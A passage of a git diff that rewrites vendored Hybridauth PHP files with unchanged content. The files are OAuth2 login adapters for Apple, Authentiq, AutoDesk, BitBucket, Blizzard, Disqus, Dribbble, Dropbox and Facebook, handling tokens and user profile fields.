($this->getStoredData($name)) { - $tokens[$name] = $this->getStoredData($name); - } - } - - return $tokens; - } - - /** - * {@inheritdoc} - */ - protected function validateAccessTokenExchange($response) - { - $collection = parent::validateAccessTokenExchange($response); - - $this->storeData('id_token', $collection->get('id_token')); - - return $collection; - } - - public function getUserProfile() - { - $id_token = $this->getStoredData('id_token'); - - $verifyTokenSignature = - $this->config->exists('verifyTokenSignature') ? $this->config->get('verifyTokenSignature') : true; - - if (!$verifyTokenSignature) { - // payload extraction by https://github.com/omidborjian - // https://github.com/hybridauth/hybridauth/issues/1095#issuecomment-626479263 - // JWT splits the string to 3 components 1) first is header 2) is payload 3) is signature - $payload = explode('.', $id_token)[1]; - $payload = json_decode(base64_decode($payload)); - } else { - // validate the token signature and get the payload - $publicKeys = $this->apiRequest('keys'); - - \Firebase\JWT\JWT::$leeway = 120; - - $error = false; - $payload = null; - - foreach ($publicKeys->keys as $publicKey) { - try { - $rsa = new RSA(); - $jwk = (array)$publicKey; - - $rsa->loadKey( - [ - 'e' => new BigInteger(base64_decode($jwk['e']), 256), - 'n' => new BigInteger(base64_decode(strtr($jwk['n'], '-_', '+/'), true), 256) - ] - ); - $pem = $rsa->getPublicKey(); - - $payload = JWT::decode($id_token, $pem, ['RS256']); - break; - } catch (\Exception $e) { - $error = $e->getMessage(); - if ($e instanceof \Firebase\JWT\ExpiredException) { - break; - } - } - } - - if ($error && !$payload) { - throw new \Exception($error); - } - } - - $data = new Data\Collection($payload); - - if (!$data->exists('sub')) { - throw new UnexpectedValueException('Missing token payload.'); - } - - $userProfile = new User\Profile(); - $userProfile->identifier = $data->get('sub'); - $userProfile->email = $data->get('email'); - $this->storeData('expires_at', $data->get('exp')); - - if (!empty($_REQUEST['user'])) { - $objUser = json_decode($_REQUEST['user']); - $user = new Data\Collection($objUser); - if (!$user->isEmpty()) { - $name = $user->get('name'); - $userProfile->firstName = $name->firstName; - $userProfile->lastName = $name->lastName; - $userProfile->displayName = join(' ', [$userProfile->firstName, $userProfile->lastName]); - } - } - - return $userProfile; - } - - /** - * @return string secret token - */ - private function getSecret() - { - // Your 10-character Team ID - if (!$team_id = $this->config->filter('keys')->get('team_id')) { - throw new InvalidApplicationCredentialsException( - 'Missing parameter team_id: your team id is required to generate the JWS token.' - ); - } - - // Your Services ID, e.g. com.aaronparecki.services - if (!$client_id = $this->config->filter('keys')->get('id') ?: $this->config->filter('keys')->get('key')) { - throw new InvalidApplicationCredentialsException( - 'Missing parameter id: your client id is required to generate the JWS token.' - ); - } - - // Find the 10-char Key ID value from the portal - if (!$key_id = $this->config->filter('keys')->get('key_id')) { - throw new InvalidApplicationCredentialsException( - 'Missing parameter key_id: your key id is required to generate the JWS token.' - ); - } - - // Find the 10-char Key ID value from the portal - $key_content = $this->config->filter('keys')->get('key_content'); - - // Save your private key from Apple in a file called `key.txt` - if (!$key_content) { - if (!$key_file = $this->config->filter('keys')->get('key_file')) { - throw new InvalidApplicationCredentialsException( - 'Missing parameter key_content or key_file: your key is required to generate the JWS token.' - ); - } - - if (!file_exists($key_file)) { - throw new InvalidApplicationCredentialsException( - "Your key file $key_file does not exist." - ); - } - - $key_content = file_get_contents($key_file); - } - - $data = [ - 'iat' => time(), - 'exp' => time() + 86400 * 180, - 'iss' => $team_id, - 'aud' => 'https://appleid.apple.com', - 'sub' => $client_id - ]; - - $secret = JWT::encode($data, $key_content, 'ES256', $key_id); - - return $secret; - } -} + Hybridauth\HttpClient\Util::getCurrentUrl(), + * 'keys' => ['id' => '', 'team_id' => '', 'key_id' => '', 'key_file' => '', 'key_content' => ''], + * 'scope' => 'name email', + * + * // Apple's custom auth url params + * 'authorize_url_parameters' => [ + * 'response_mode' => 'form_post' + * ] + * ]; + * + * $adapter = new Hybridauth\Provider\Apple($config); + * + * try { + * $adapter->authenticate(); + * + * $userProfile = $adapter->getUserProfile(); + * $tokens = $adapter->getAccessToken(); + * $response = $adapter->setUserStatus("Hybridauth test message.."); + * } catch (\Exception $e) { + * echo $e->getMessage() ; + * } + * + * Requires: + * + * composer require codercat/jwk-to-pem + * composer require firebase/php-jwt + * + * @see https://github.com/sputnik73/hybridauth-sign-in-with-apple + * @see https://developer.apple.com/documentation/sign_in_with_apple/sign_in_with_apple_rest_api + */ +class Apple extends OAuth2 +{ + /** + * {@inheritdoc} + */ + protected $scope = 'name email'; + + /** + * {@inheritdoc} + */ + protected $apiBaseUrl = 'https://appleid.apple.com/auth/'; + + /** + * {@inheritdoc} + */ + protected $authorizeUrl = 'https://appleid.apple.com/auth/authorize'; + + /** + * {@inheritdoc} + */ + protected $accessTokenUrl = 'https://appleid.apple.com/auth/token'; + + /** + * {@inheritdoc} + */ + protected $apiDocumentation = 'https://developer.apple.com/documentation/sign_in_with_apple'; + + /** + * {@inheritdoc} + * The Sign in with Apple servers require percent encoding (or URL encoding) + * for its query parameters. If you are using the Sign in with Apple REST API, + * you must provide values with encoded spaces (`%20`) instead of plus (`+`) signs. + */ + protected $AuthorizeUrlParametersEncType = PHP_QUERY_RFC3986; + + /** + * {@inheritdoc} + */ + protected function initialize() + { + parent::initialize(); + $this->AuthorizeUrlParameters['response_mode'] = 'form_post'; + } + + /** + * {@inheritdoc} + */ + protected function configure() + { + $keys = $this->config->get('keys'); + $keys['secret'] = $this->getSecret(); + $this->config->set('keys', $keys); + return parent::configure(); + } + + /** + * {@inheritdoc} + * + * include id_token $tokenNames + */ + public function getAccessToken() + { + $tokenNames = [ + 'access_token', + 'id_token', + 'access_token_secret', + 'token_type', + 'refresh_token', + 'expires_in', + 'expires_at', + ]; + + $tokens = []; + + foreach ($tokenNames as $name) { + if ($this->getStoredData($name)) { + $tokens[$name] = $this->getStoredData($name); + } + } + + return $tokens; + } + + /** + * {@inheritdoc} + */ + protected function validateAccessTokenExchange($response) + { + $collection = parent::validateAccessTokenExchange($response); + + $this->storeData('id_token', $collection->get('id_token')); + + return $collection; + } + + public function getUserProfile() + { + $id_token = $this->getStoredData('id_token'); + + $verifyTokenSignature = + $this->config->exists('verifyTokenSignature') ? $this->config->get('verifyTokenSignature') : true; + + if (!$verifyTokenSignature) { + // payload extraction by https://github.com/omidborjian + // https://github.com/hybridauth/hybridauth/issues/1095#issuecomment-626479263 + // JWT splits the string to 3 components 1) first is header 2) is payload 3) is signature + $payload = explode('.', $id_token)[1]; + $payload = json_decode(base64_decode($payload)); + } else { + // validate the token signature and get the payload + $publicKeys = $this->apiRequest('keys'); + + \Firebase\JWT\JWT::$leeway = 120; + + $error = false; + $payload = null; + + foreach ($publicKeys->keys as $publicKey) { + try { + $rsa = new RSA(); + $jwk = (array)$publicKey; + + $rsa->loadKey( + [ + 'e' => new BigInteger(base64_decode($jwk['e']), 256), + 'n' => new BigInteger(base64_decode(strtr($jwk['n'], '-_', '+/'), true), 256) + ] + ); + $pem = $rsa->getPublicKey(); + + $payload = JWT::decode($id_token, $pem, ['RS256']); + break; + } catch (\Exception $e) { + $error = $e->getMessage(); + if ($e instanceof \Firebase\JWT\ExpiredException) { + break; + } + } + } + + if ($error && !$payload) { + throw new \Exception($error); + } + } + + $data = new Data\Collection($payload); + + if (!$data->exists('sub')) { + throw new UnexpectedValueException('Missing token payload.'); + } + + $userProfile = new User\Profile(); + $userProfile->identifier = $data->get('sub'); + $userProfile->email = $data->get('email'); + $this->storeData('expires_at', $data->get('exp')); + + if (!empty($_REQUEST['user'])) { + $objUser = json_decode($_REQUEST['user']); + $user = new Data\Collection($objUser); + if (!$user->isEmpty()) { + $name = $user->get('name'); + $userProfile->firstName = $name->firstName; + $userProfile->lastName = $name->lastName; + $userProfile->displayName = join(' ', [$userProfile->firstName, $userProfile->lastName]); + } + } + + return $userProfile; + } + + /** + * @return string secret token + */ + private function getSecret() + { + // Your 10-character Team ID + if (!$team_id = $this->config->filter('keys')->get('team_id')) { + throw new InvalidApplicationCredentialsException( + 'Missing parameter team_id: your team id is required to generate the JWS token.' + ); + } + + // Your Services ID, e.g. com.aaronparecki.services + if (!$client_id = $this->config->filter('keys')->get('id') ?: $this->config->filter('keys')->get('key')) { + throw new InvalidApplicationCredentialsException( + 'Missing parameter id: your client id is required to generate the JWS token.' + ); + } + + // Find the 10-char Key ID value from the portal + if (!$key_id = $this->config->filter('keys')->get('key_id')) { + throw new InvalidApplicationCredentialsException( + 'Missing parameter key_id: your key id is required to generate the JWS token.' + ); + } + + // Find the 10-char Key ID value from the portal + $key_content = $this->config->filter('keys')->get('key_content'); + + // Save your private key from Apple in a file called `key.txt` + if (!$key_content) { + if (!$key_file = $this->config->filter('keys')->get('key_file')) { + throw new InvalidApplicationCredentialsException( + 'Missing parameter key_content or key_file: your key is required to generate the JWS token.' + ); + } + + if (!file_exists($key_file)) { + throw new InvalidApplicationCredentialsException( + "Your key file $key_file does not exist." + ); + } + + $key_content = file_get_contents($key_file); + } + + $data = [ + 'iat' => time(), + 'exp' => time() + 86400 * 180, + 'iss' => $team_id, + 'aud' => 'https://appleid.apple.com', + 'sub' => $client_id + ]; + + $secret = JWT::encode($data, $key_content, 'ES256', $key_id); + + return $secret; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Provider/Authentiq.php b/vendor/hybridauth/hybridauth/src/Provider/Authentiq.php index 850ac0bdd2..68aeeb0133 100644 --- a/vendor/hybridauth/hybridauth/src/Provider/Authentiq.php +++ b/vendor/hybridauth/hybridauth/src/Provider/Authentiq.php @@ -1,111 +1,111 @@ -AuthorizeUrlParameters += [ - 'prompt' => 'consent' - ]; - - $this->tokenExchangeHeaders = [ - 'Authorization' => 'Basic ' . base64_encode($this->clientId . ':' . $this->clientSecret) - ]; - - $this->tokenRefreshHeaders = [ - 'Authorization' => 'Basic ' . base64_encode($this->clientId . ':' . $this->clientSecret) - ]; - } - - /** - * {@inheritdoc} - */ - public function getUserProfile() - { - $response = $this->apiRequest('userinfo'); - - $data = new Data\Collection($response); - - if (!$data->exists('sub')) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - $userProfile = new User\Profile(); - - $userProfile->identifier = $data->get('sub'); - - $userProfile->displayName = $data->get('name'); - $userProfile->firstName = $data->get('given_name'); - // $userProfile->middleName = $data->get('middle_name'); // not supported - $userProfile->lastName = $data->get('family_name'); - - if (!empty($userProfile->displayName)) { - $userProfile->displayName = join(' ', array($userProfile->firstName, - // $userProfile->middleName, - $userProfile->lastName)); - } - - $userProfile->email = $data->get('email'); - $userProfile->emailVerified = $data->get('email_verified') ? $userProfile->email : ''; - - $userProfile->phone = $data->get('phone'); - // $userProfile->phoneVerified = $data->get('phone_verified') ? $userProfile->phone : ''; // not supported - - $userProfile->profileURL = $data->get('profile'); - $userProfile->webSiteURL = $data->get('website'); - $userProfile->photoURL = $data->get('picture'); - $userProfile->gender = $data->get('gender'); - $userProfile->address = $data->filter('address')->get('street_address'); - $userProfile->city = $data->filter('address')->get('locality'); - $userProfile->country = $data->filter('address')->get('country'); - $userProfile->region = $data->filter('address')->get('region'); - $userProfile->zip = $data->filter('address')->get('postal_code'); - - return $userProfile; - } -} +AuthorizeUrlParameters += [ + 'prompt' => 'consent' + ]; + + $this->tokenExchangeHeaders = [ + 'Authorization' => 'Basic ' . base64_encode($this->clientId . ':' . $this->clientSecret) + ]; + + $this->tokenRefreshHeaders = [ + 'Authorization' => 'Basic ' . base64_encode($this->clientId . ':' . $this->clientSecret) + ]; + } + + /** + * {@inheritdoc} + */ + public function getUserProfile() + { + $response = $this->apiRequest('userinfo'); + + $data = new Data\Collection($response); + + if (!$data->exists('sub')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + $userProfile = new User\Profile(); + + $userProfile->identifier = $data->get('sub'); + + $userProfile->displayName = $data->get('name'); + $userProfile->firstName = $data->get('given_name'); + // $userProfile->middleName = $data->get('middle_name'); // not supported + $userProfile->lastName = $data->get('family_name'); + + if (!empty($userProfile->displayName)) { + $userProfile->displayName = join(' ', array($userProfile->firstName, + // $userProfile->middleName, + $userProfile->lastName)); + } + + $userProfile->email = $data->get('email'); + $userProfile->emailVerified = $data->get('email_verified') ? $userProfile->email : ''; + + $userProfile->phone = $data->get('phone'); + // $userProfile->phoneVerified = $data->get('phone_verified') ? $userProfile->phone : ''; // not supported + + $userProfile->profileURL = $data->get('profile'); + $userProfile->webSiteURL = $data->get('website'); + $userProfile->photoURL = $data->get('picture'); + $userProfile->gender = $data->get('gender'); + $userProfile->address = $data->filter('address')->get('street_address'); + $userProfile->city = $data->filter('address')->get('locality'); + $userProfile->country = $data->filter('address')->get('country'); + $userProfile->region = $data->filter('address')->get('region'); + $userProfile->zip = $data->filter('address')->get('postal_code'); + + return $userProfile; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Provider/AutoDesk.php b/vendor/hybridauth/hybridauth/src/Provider/AutoDesk.php index 7cc054b719..949a56b896 100644 --- a/vendor/hybridauth/hybridauth/src/Provider/AutoDesk.php +++ b/vendor/hybridauth/hybridauth/src/Provider/AutoDesk.php @@ -1,96 +1,96 @@ -isRefreshTokenAvailable()) { - $this->tokenRefreshParameters += [ - 'client_id' => $this->clientId, - 'client_secret' => $this->clientSecret, - 'grant_type' => 'refresh_token', - ]; - } - } - - /** - * {@inheritdoc} - * - * See: https://forge.autodesk.com/en/docs/oauth/v2/reference/http/users-@me-GET/ - */ - public function getUserProfile() - { - $response = $this->apiRequest('userprofile/v1/users/@me'); - - $collection = new Data\Collection($response); - - $userProfile = new User\Profile(); - - $userProfile->identifier = $collection->get('userId'); - $userProfile->displayName - = $collection->get('firstName') .' '. $collection->get('lastName'); - $userProfile->firstName = $collection->get('firstName'); - $userProfile->lastName = $collection->get('lastName'); - $userProfile->email = $collection->get('emailId'); - $userProfile->language = $collection->get('language'); - $userProfile->webSiteURL = $collection->get('websiteUrl'); - $userProfile->photoURL - = $collection->filter('profileImages')->get('sizeX360'); - - return $userProfile; - } -} +isRefreshTokenAvailable()) { + $this->tokenRefreshParameters += [ + 'client_id' => $this->clientId, + 'client_secret' => $this->clientSecret, + 'grant_type' => 'refresh_token', + ]; + } + } + + /** + * {@inheritdoc} + * + * See: https://forge.autodesk.com/en/docs/oauth/v2/reference/http/users-@me-GET/ + */ + public function getUserProfile() + { + $response = $this->apiRequest('userprofile/v1/users/@me'); + + $collection = new Data\Collection($response); + + $userProfile = new User\Profile(); + + $userProfile->identifier = $collection->get('userId'); + $userProfile->displayName + = $collection->get('firstName') .' '. $collection->get('lastName'); + $userProfile->firstName = $collection->get('firstName'); + $userProfile->lastName = $collection->get('lastName'); + $userProfile->email = $collection->get('emailId'); + $userProfile->language = $collection->get('language'); + $userProfile->webSiteURL = $collection->get('websiteUrl'); + $userProfile->photoURL + = $collection->filter('profileImages')->get('sizeX360'); + + return $userProfile; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Provider/BitBucket.php b/vendor/hybridauth/hybridauth/src/Provider/BitBucket.php index 7ce1291243..7fbe094ce1 100644 --- a/vendor/hybridauth/hybridauth/src/Provider/BitBucket.php +++ b/vendor/hybridauth/hybridauth/src/Provider/BitBucket.php @@ -1,111 +1,111 @@ -/workspace/settings/api - */ - -/** - * BitBucket OAuth2 provider adapter. - */ -class BitBucket extends OAuth2 -{ - /** - * {@inheritdoc} - */ - protected $scope = 'email'; - - /** - * {@inheritdoc} - */ - protected $apiBaseUrl = 'https://api.bitbucket.org/2.0/'; - - /** - * {@inheritdoc} - */ - protected $authorizeUrl = 'https://bitbucket.org/site/oauth2/authorize'; - - /** - * {@inheritdoc} - */ - protected $accessTokenUrl = 'https://bitbucket.org/site/oauth2/access_token'; - - /** - * {@inheritdoc} - */ - protected $apiDocumentation = 'https://developer.atlassian.com/bitbucket/concepts/oauth2.html'; - - /** - * {@inheritdoc} - */ - public function getUserProfile() - { - $response = $this->apiRequest('user'); - - $data = new Data\Collection($response); - - if (!$data->exists('uuid')) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - $userProfile = new User\Profile(); - - $userProfile->identifier = $data->get('uuid'); - $userProfile->profileURL = 'https://bitbucket.org/' . $data->get('username') . '/'; - $userProfile->displayName = $data->get('display_name'); - $userProfile->email = $data->get('email'); - $userProfile->webSiteURL = $data->get('website'); - $userProfile->region = $data->get('location'); - - $userProfile->displayName = $userProfile->displayName ?: $data->get('username'); - - if (empty($userProfile->email) && strpos($this->scope, 'email') !== false) { - try { - // user email is not mandatory so keep it quiet - $userProfile = $this->requestUserEmail($userProfile); - } catch (\Exception $e) { - } - } - - return $userProfile; - } - - /** - * Request user email - * - * @param $userProfile - * - * @return User\Profile - * - * @throws \Exception - */ - protected function requestUserEmail($userProfile) - { - $response = $this->apiRequest('user/emails'); - - foreach ($response->values as $idx => $item) { - if (!empty($item->is_primary) && $item->is_primary == true) { - $userProfile->email = $item->email; - - if (!empty($item->is_confirmed) && $item->is_confirmed == true) { - $userProfile->emailVerified = $userProfile->email; - } - - break; - } - } - - return $userProfile; - } -} +/workspace/settings/api + */ + +/** + * BitBucket OAuth2 provider adapter. + */ +class BitBucket extends OAuth2 +{ + /** + * {@inheritdoc} + */ + protected $scope = 'email'; + + /** + * {@inheritdoc} + */ + protected $apiBaseUrl = 'https://api.bitbucket.org/2.0/'; + + /** + * {@inheritdoc} + */ + protected $authorizeUrl = 'https://bitbucket.org/site/oauth2/authorize'; + + /** + * {@inheritdoc} + */ + protected $accessTokenUrl = 'https://bitbucket.org/site/oauth2/access_token'; + + /** + * {@inheritdoc} + */ + protected $apiDocumentation = 'https://developer.atlassian.com/bitbucket/concepts/oauth2.html'; + + /** + * {@inheritdoc} + */ + public function getUserProfile() + { + $response = $this->apiRequest('user'); + + $data = new Data\Collection($response); + + if (!$data->exists('uuid')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + $userProfile = new User\Profile(); + + $userProfile->identifier = $data->get('uuid'); + $userProfile->profileURL = 'https://bitbucket.org/' . $data->get('username') . '/'; + $userProfile->displayName = $data->get('display_name'); + $userProfile->email = $data->get('email'); + $userProfile->webSiteURL = $data->get('website'); + $userProfile->region = $data->get('location'); + + $userProfile->displayName = $userProfile->displayName ?: $data->get('username'); + + if (empty($userProfile->email) && strpos($this->scope, 'email') !== false) { + try { + // user email is not mandatory so keep it quiet + $userProfile = $this->requestUserEmail($userProfile); + } catch (\Exception $e) { + } + } + + return $userProfile; + } + + /** + * Request user email + * + * @param $userProfile + * + * @return User\Profile + * + * @throws \Exception + */ + protected function requestUserEmail($userProfile) + { + $response = $this->apiRequest('user/emails'); + + foreach ($response->values as $idx => $item) { + if (!empty($item->is_primary) && $item->is_primary == true) { + $userProfile->email = $item->email; + + if (!empty($item->is_confirmed) && $item->is_confirmed == true) { + $userProfile->emailVerified = $userProfile->email; + } + + break; + } + } + + return $userProfile; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Provider/Blizzard.php b/vendor/hybridauth/hybridauth/src/Provider/Blizzard.php index 4316e6b56d..7f57d95ebb 100644 --- a/vendor/hybridauth/hybridauth/src/Provider/Blizzard.php +++ b/vendor/hybridauth/hybridauth/src/Provider/Blizzard.php @@ -1,65 +1,65 @@ -apiRequest('oauth/userinfo'); - - $data = new Data\Collection($response); - - if (!$data->exists('id')) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - $userProfile = new User\Profile(); - - $userProfile->identifier = $data->get('id'); - $userProfile->displayName = $data->get('battletag') ?: $data->get('login'); - - return $userProfile; - } -} +apiRequest('oauth/userinfo'); + + $data = new Data\Collection($response); + + if (!$data->exists('id')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + $userProfile = new User\Profile(); + + $userProfile->identifier = $data->get('id'); + $userProfile->displayName = $data->get('battletag') ?: $data->get('login'); + + return $userProfile; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Provider/Disqus.php b/vendor/hybridauth/hybridauth/src/Provider/Disqus.php index 3b4bafa8d2..5fa7ac03f1 100644 --- a/vendor/hybridauth/hybridauth/src/Provider/Disqus.php +++ b/vendor/hybridauth/hybridauth/src/Provider/Disqus.php @@ -1,88 +1,88 @@ -apiRequestParameters = [ - 'api_key' => $this->clientId, 'api_secret' => $this->clientSecret - ]; - } - - /** - * {@inheritdoc} - */ - public function getUserProfile() - { - $response = $this->apiRequest('users/details'); - - $data = new Data\Collection($response); - - if (!$data->filter('response')->exists('id')) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - $userProfile = new User\Profile(); - - $data = $data->filter('response'); - - $userProfile->identifier = $data->get('id'); - $userProfile->displayName = $data->get('name'); - $userProfile->description = $data->get('bio'); - $userProfile->profileURL = $data->get('profileUrl'); - $userProfile->email = $data->get('email'); - $userProfile->region = $data->get('location'); - $userProfile->description = $data->get('about'); - - $userProfile->photoURL = $data->filter('avatar')->get('permalink'); - - $userProfile->displayName = $userProfile->displayName ?: $data->get('username'); - - return $userProfile; - } -} +apiRequestParameters = [ + 'api_key' => $this->clientId, 'api_secret' => $this->clientSecret + ]; + } + + /** + * {@inheritdoc} + */ + public function getUserProfile() + { + $response = $this->apiRequest('users/details'); + + $data = new Data\Collection($response); + + if (!$data->filter('response')->exists('id')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + $userProfile = new User\Profile(); + + $data = $data->filter('response'); + + $userProfile->identifier = $data->get('id'); + $userProfile->displayName = $data->get('name'); + $userProfile->description = $data->get('bio'); + $userProfile->profileURL = $data->get('profileUrl'); + $userProfile->email = $data->get('email'); + $userProfile->region = $data->get('location'); + $userProfile->description = $data->get('about'); + + $userProfile->photoURL = $data->filter('avatar')->get('permalink'); + + $userProfile->displayName = $userProfile->displayName ?: $data->get('username'); + + return $userProfile; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Provider/Dribbble.php b/vendor/hybridauth/hybridauth/src/Provider/Dribbble.php index b2411bb71f..4b525184ec 100644 --- a/vendor/hybridauth/hybridauth/src/Provider/Dribbble.php +++ b/vendor/hybridauth/hybridauth/src/Provider/Dribbble.php @@ -1,68 +1,68 @@ -apiRequest('user'); - - $data = new Data\Collection($response); - - if (!$data->exists('id')) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - $userProfile = new User\Profile(); - - $userProfile->identifier = $data->get('id'); - $userProfile->profileURL = $data->get('html_url'); - $userProfile->photoURL = $data->get('avatar_url'); - $userProfile->description = $data->get('bio'); - $userProfile->region = $data->get('location'); - $userProfile->displayName = $data->get('name'); - - $userProfile->displayName = $userProfile->displayName ?: $data->get('username'); - - $userProfile->webSiteURL = $data->filter('links')->get('web'); - - return $userProfile; - } -} +apiRequest('user'); + + $data = new Data\Collection($response); + + if (!$data->exists('id')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + $userProfile = new User\Profile(); + + $userProfile->identifier = $data->get('id'); + $userProfile->profileURL = $data->get('html_url'); + $userProfile->photoURL = $data->get('avatar_url'); + $userProfile->description = $data->get('bio'); + $userProfile->region = $data->get('location'); + $userProfile->displayName = $data->get('name'); + + $userProfile->displayName = $userProfile->displayName ?: $data->get('username'); + + $userProfile->webSiteURL = $data->filter('links')->get('web'); + + return $userProfile; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Provider/Dropbox.php b/vendor/hybridauth/hybridauth/src/Provider/Dropbox.php index 0219790189..a38336702e 100644 --- a/vendor/hybridauth/hybridauth/src/Provider/Dropbox.php +++ b/vendor/hybridauth/hybridauth/src/Provider/Dropbox.php @@ -1,74 +1,74 @@ -apiRequest('users/get_current_account', 'POST', [], [], true); - - $data = new Data\Collection($response); - - if (!$data->exists('account_id') || !$data->get('account_id')) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - $userProfile = new User\Profile(); - - $userProfile->identifier = $data->get('account_id'); - $userProfile->displayName = $data->filter('name')->get('display_name'); - $userProfile->firstName = $data->filter('name')->get('given_name'); - $userProfile->lastName = $data->filter('name')->get('surname'); - $userProfile->email = $data->get('email'); - $userProfile->photoURL = $data->get('profile_photo_url'); - $userProfile->language = $data->get('locale'); - $userProfile->country = $data->get('country'); - if ($data->get('email_verified')) { - $userProfile->emailVerified = $data->get('email'); - } - - return $userProfile; - } -} +apiRequest('users/get_current_account', 'POST', [], [], true); + + $data = new Data\Collection($response); + + if (!$data->exists('account_id') || !$data->get('account_id')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + $userProfile = new User\Profile(); + + $userProfile->identifier = $data->get('account_id'); + $userProfile->displayName = $data->filter('name')->get('display_name'); + $userProfile->firstName = $data->filter('name')->get('given_name'); + $userProfile->lastName = $data->filter('name')->get('surname'); + $userProfile->email = $data->get('email'); + $userProfile->photoURL = $data->get('profile_photo_url'); + $userProfile->language = $data->get('locale'); + $userProfile->country = $data->get('country'); + if ($data->get('email_verified')) { + $userProfile->emailVerified = $data->get('email'); + } + + return $userProfile; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Provider/Facebook.php b/vendor/hybridauth/hybridauth/src/Provider/Facebook.php index 77cf018e05..584e5ad794 100644 --- a/vendor/hybridauth/hybridauth/src/Provider/Facebook.php +++ b/vendor/hybridauth/hybridauth/src/Provider/Facebook.php @@ -1,451 +1,451 @@ - Hybridauth\HttpClient\Util::getCurrentUrl(), - * 'keys' => ['id' => '', 'secret' => ''], - * 'scope' => 'email, user_status, user_posts', - * 'exchange_by_expiry_days' => 45, // null for no token exchange - * ]; - * - * $adapter = new Hybridauth\Provider\Facebook($config); - * - * try { - * $adapter->authenticate(); - * - * $userProfile = $adapter->getUserProfile(); - * $tokens = $adapter->getAccessToken(); - * $response = $adapter->setUserStatus("Hybridauth test message.."); - * } catch (\Exception $e) { - * echo $e->getMessage() ; - * } - */ -class Facebook extends OAuth2 -{ - /** - * {@inheritdoc} - */ - protected $scope = 'email, public_profile'; - - /** - * {@inheritdoc} - */ - protected $apiBaseUrl = 'https://graph.facebook.com/v8.0/'; - - /** - * {@inheritdoc} - */ - protected $authorizeUrl = 'https://www.facebook.com/dialog/oauth'; - - /** - * {@inheritdoc} - */ - protected $accessTokenUrl = 'https://graph.facebook.com/oauth/access_token'; - - /** - * {@inheritdoc} - */ - protected $apiDocumentation = 'https://developers.facebook.com/docs/facebook-login/overview'; - - /** - * @var string Profile URL template as the fallback when no `link` returned from the API. - */ - protected $profileUrlTemplate = 'https://www.facebook.com/%s'; - - /** - * {@inheritdoc} - */ - protected function initialize() - { - parent::initialize(); - - // Require proof on all Facebook api calls - // https://developers.facebook.com/docs/graph-api/securing-requests#appsecret_proof - if ($accessToken = $this->getStoredData('access_token')) { - $this->apiRequestParameters['appsecret_proof'] = hash_hmac('sha256', $accessToken, $this->clientSecret); - } - } - - /** - * {@inheritdoc} - */ - public function maintainToken() - { - if (!$this->isConnected()) { - return; - } - - // Handle token exchange prior to the standard handler for an API request - $exchange_by_expiry_days = $this->config->get('exchange_by_expiry_days') ?: 45; - if ($exchange_by_expiry_days !== null) { - $projected_timestamp = time() + 60 * 60 * 24 * $exchange_by_expiry_days; - if (!$this->hasAccessTokenExpired() && $this->hasAccessTokenExpired($projected_timestamp)) { - $this->exchangeAccessToken(); - } - } - } - - /** - * Exchange the Access Token with one that expires further in the future. - * - * @return string Raw Provider API response - * @throws \Hybridauth\Exception\HttpClientFailureException - * @throws \Hybridauth\Exception\HttpRequestFailedException - * @throws \Hybridauth\Exception\InvalidAccessTokenException - */ - public function exchangeAccessToken() - { - $exchangeTokenParameters = [ - 'grant_type' => 'fb_exchange_token', - 'client_id' => $this->clientId, - 'client_secret' => $this->clientSecret, - 'fb_exchange_token' => $this->getStoredData('access_token'), - ]; - - $response = $this->httpClient->request( - $this->accessTokenUrl, - 'GET', - $exchangeTokenParameters - ); - - $this->validateApiResponse('Unable to exchange the access token'); - - $this->validateAccessTokenExchange($response); - - return $response; - } - - /** - * {@inheritdoc} - */ - public function getUserProfile() - { - $fields = [ - 'id', - 'name', - 'first_name', - 'last_name', - 'website', - 'locale', - 'about', - 'email', - 'hometown', - 'birthday', - ]; - - if (strpos($this->scope, 'user_link') !== false) { - $fields[] = 'link'; - } - - if (strpos($this->scope, 'user_gender') !== false) { - $fields[] = 'gender'; - } - - // Note that en_US is needed for gender fields to match convention. - $locale = $this->config->get('locale') ?: 'en_US'; - $response = $this->apiRequest('me', 'GET', [ - 'fields' => implode(',', $fields), - 'locale' => $locale, - ]); - - $data = new Data\Collection($response); - - if (!$data->exists('id')) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - $userProfile = new User\Profile(); - - $userProfile->identifier = $data->get('id'); - $userProfile->displayName = $data->get('name'); - $userProfile->firstName = $data->get('first_name'); - $userProfile->lastName = $data->get('last_name'); - $userProfile->profileURL = $data->get('link'); - $userProfile->webSiteURL = $data->get('website'); - $userProfile->gender = $data->get('gender'); - $userProfile->language = $data->get('locale'); - $userProfile->description = $data->get('about'); - $userProfile->email = $data->get('email'); - - // Fallback for profile URL in case Facebook does not provide "pretty" link with username (if user set it). - if (empty($userProfile->profileURL)) { - $userProfile->profileURL = $this->getProfileUrl($userProfile->identifier); - } - - $userProfile->region = $data->filter('hometown')->get('name'); - - $photoSize = $this->config->get('photo_size') ?: '150'; - - $userProfile->photoURL = $this->apiBaseUrl . $userProfile->identifier; - $userProfile->photoURL .= '/picture?width=' . $photoSize . '&height=' . $photoSize; - - $userProfile->emailVerified = $userProfile->email; - - $userProfile = $this->fetchUserRegion($userProfile); - - $userProfile = $this->fetchBirthday($userProfile, $data->get('birthday')); - - return $userProfile; - } - - /** - * Retrieve the user region. - * - * @param User\Profile $userProfile - * - * @return \Hybridauth\User\Profile - */ - protected function fetchUserRegion(User\Profile $userProfile) - { - if (!empty($userProfile->region)) { - $regionArr = explode(',', $userProfile->region); - - if (count($regionArr) > 